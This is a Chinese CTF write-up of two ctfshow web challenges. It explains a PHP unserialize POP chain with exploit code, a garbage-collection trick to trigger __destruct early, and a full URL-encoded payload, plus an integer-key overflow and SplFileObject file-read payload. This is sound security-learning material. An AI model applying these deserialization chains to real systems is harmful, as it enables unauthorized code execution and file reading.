ctfshow卷王杯部分web
ctfshow卷王杯web部分[easy unserialize&easy web]
文章目錄
- ctfshow卷王杯web部分[easy unserialize&easy web]
- easy unserialize
- 了解__destruct()魔術函數的調用條件
- 不難發現我們最后是要調用one::MeMeMe,然后進入鏈子的起始點為one::destruct,順著起始點往下跳
- 鏈子找到了,就要想辦法實現,這里有個問題就是這里存在反復調用的問題,也就是one對象到second對象,然后有條回來,這樣可能不能反復賦值,因為這樣的話就進入死循環了,所以我們可以實例化兩個one對象進入
- 然后就是想辦法進入到one::MeMeMe方法,然后拿到flag
- 接下來就是想辦法怎么在third::__get()里面怎么調用one::MeMeMe,最開始我想的是直接傳入"one::MeMeMe",結果發現這樣就不能自己設置成員屬性了,所以這里我改用了另外一種方法,`使用數組調用類方法`,也就是傳入這個payload
- 最終exp
- easy web
easy unserialize
點擊這里觀看體驗更佳
(經過大佬的指點,我在后面加了一種GC利用的新姿勢在這個站里)
這道題有幸拿到了二血,這道題做了之后學會了幾個新姿勢,我接下來分開來講
了解__destruct()魔術函數的調用條件
__destruct()方法又叫析構函數,當程序結束銷毀的時候自動調用,看下這道題中的代碼
$a=unserialize($_GET['ctfshow']); throw new Exception("高一新生報道");這里有個throw函數,大概是拋出一個異常,然后讓程序異常退出,這個時候就是未正常退出的情況,所以不會調用__destruct方法,這里我們就要想辦法在throw函數執行之前調用析構函數,目前我知道的調用該函數的方法如下
- 等待程序完整執行完畢,也就是解釋完最后一行代碼,這也是我們最常用的方法
- 利用GC回收機制,比如
然后我們把null賦值重新加上
發現成功執行了__destruct函數,這也就是利用了GC回收機制讓這個對象提前銷毀,具體的GC回收機制可自行百度
那么這道題我們要怎么繞過呢,這里我們可以利用反序列化的性質來做,反序列化時從左到右的順序進行重構的,所以我們只要構造出以下類似的結構就行
a:2:{i:0;O:4:"Demo":0:{}i:0;N;}這個payload可以由下面這個demo獲取得到
<?php highlight_file(__FILE__); class Demo{public function __destruct(){echo "Running method <destruct>";} } $a=new Demo(); $b=null; $c=array($a,$b); echo serialize($c);即定義一個數組,其中有兩個值,第一個為實例化的對象,第二個為另外隨便的一個值(這里賦null以外的值都可以),然后會得到``a:2:{i:0;O:4:"Demo":0:{}i:1;N;},將其改為 a:2:{i:0;O:4:"Demo":0:{}i:0;N;}也就是將第二個反序列化的序號改為0,這樣就實現了對Demo這個對象的重新賦值,達到了提前是對象摧毀的效果
- 最后一種就是利用unset()主動銷毀,這里顯然我們不能,所以忽略
現在算是過了第一關了,那我們開始審鏈子
不難發現我們最后是要調用one::MeMeMe,然后進入鏈子的起始點為one::destruct,順著起始點往下跳
這里調用了一個add的方法,由此可以跳到second::__call
進入second::__call:
此時調用了一個回調函數call_user_func([$this, $func."Me"], $args);分析一下他具體的調用結果,首先第一個參數[$this, $func."Me"]這是數組調用類方法的方式,其中$fun的值為訪問的那個函數名,也就是add,所以總結下來其實就是訪問second::addMe,然后再關注second::addMe
protected function addMe() {return "Wow you have sovled".$this->filename;}這里將filename的成員變量與一個字符串相連接,很容易想到__toString方法,然后就不如到了one::__toString
public function __toString() { return $this->object->string; }這里訪問了string屬性,可以想到__get,然后跳到third::__get
public function __get($name) {$var = $this->$name;$var[$name]();}分析一下,變量var的值為this?>this->this?>name,也就是$this->string,然后調用一個方法,其中name的值不可控,var的值可以通過修改string的屬性來控制,也就是說這里就能動態調用了
梳理一下鏈子如下
one::__destruct => second::__call => second::addMe => one::__toString => third::__get => one:MeMeMe
鏈子找到了,就要想辦法實現,這里有個問題就是這里存在反復調用的問題,也就是one對象到second對象,然后有條回來,這樣可能不能反復賦值,因為這樣的話就進入死循環了,所以我們可以實例化兩個one對象進入
具體的實現方式exp如下
<?php highlight_file(__FILE__); class one {public $object;public function __construct(){$this->object=new second();} }class second {public $filename; }class third {private $string; } $a=new one(); $b=new one(); $c=new second(); $d=new third("haha"); $b->object=$d; $c->filename=$b; $a->object=$c; echo urlencode(serialize($a));然后帶入自己本地調試的文件中結果如下
?
<?php highlight_file(__FILE__); class one {public $object;public function MeMeMe() {echo "<br>hahahaha";array_walk($this, function($fn, $prev){if ($fn[0] === "Happy_func" && $prev === "year_parm") {global $talk;echo "$talk"."</br>";global $flag;echo $flag;}});}public function __destruct() {@$this->object->add();}public function __toString() {echo "<br>Enter the tostring method";return $this->object->string;}}class second {protected $filename;protected function addMe() {echo "<br>addMe";return "Wow you have sovled".$this->filename;}public function __call($func, $args) {echo "<br>Enter the call method";call_user_func([$this, $func."Me"], $args);}}class third {private $string;public function __construct($string) {$this->string = $string;}public function __get($name) {echo "<br>Enter the get method!!!!!";$var = $this->$name;$var[$name]();}} $a=unserialize($_GET['s']);成功進入__get方法,如果我們只實例化一個one對象的話,可能就不能出現循環的問題了。另外這里我到一個php7的特性,使得繞過protect成員屬性(對protect不敏感)
然后就是想辦法進入到one::MeMeMe方法,然后拿到flag
終點看下這個函數
public function MeMeMe() {array_walk($this, function($fn, $prev){if ($fn[0] === "Happy_func" && $prev === "year_parm") {global $talk;echo "$talk"."</br>";global $flag;echo $flag;}});}由于網上的關于array_walk的講解大多數都是使用數組,所以我們可以寫個demo來實驗一下他對類的用法
<?php highlight_file(__FILE__); class Demo {public $object="this is value";public function MeMeMe() {array_walk($this, function($fn, $prev){echo $fn."|".$prev;});} } $a=new Demo(); $a->MeMeMe();可以看到array_walk函數的作用就是遍歷自定義函數,其中$fn的值為成員的值,prev為成員變量的名字,這里可以多設置幾個成員屬性來驗證一下,我這里就偷懶沒寫,因為我之前已經寫過了哈哈,也就是說我們要滿足這個if條件就要添加一個如下的屬性
public $year_parm=array("Happy_func");接下來就是想辦法怎么在third::__get()里面怎么調用one::MeMeMe,最開始我想的是直接傳入"one::MeMeMe",結果發現這樣就不能自己設置成員屬性了,所以這里我改用了另外一種方法,使用數組調用類方法,也就是傳入這個payload
然后再exp里面添加上上面成員屬性就可以了,這里可以看到前面那個回調函數也使用了這一方法
最終exp
然后再修改一下得到payload
a%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BO%3A6%3A%22second%22%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BO%3A5%3A%22third%22%3A1%3A%7Bs%3A13%3A%22%00third%00string%22%3Ba%3A1%3A%7Bs%3A6%3A%22string%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BN%3Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7Di%3A1%3Bs%3A6%3A%22MeMeMe%22%3B%7D%7D%7Ds%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7D%7Ds%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7Di%3A0%3BN%3B%7Deasy web
php數組鍵溢出,php原生類操作文件
首先可以令c=9223372036854775806繞過第一層,然后根據提示使用glob://協議讀取到flag文件名,最后使用SplObjectFile類讀取文件
其中獲取文件名的時候可以爆破md5值得第一位數
payload如下
c=9223372036854775806&a=SplFileObject&b=flag56ea8b83122449e814e0fd7bfb5f220a.php總結
以上是生活随笔為你收集整理的ctfshow卷王杯部分web的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 国外给国内发短信
- 下一篇: 使用u盘安装Fedora14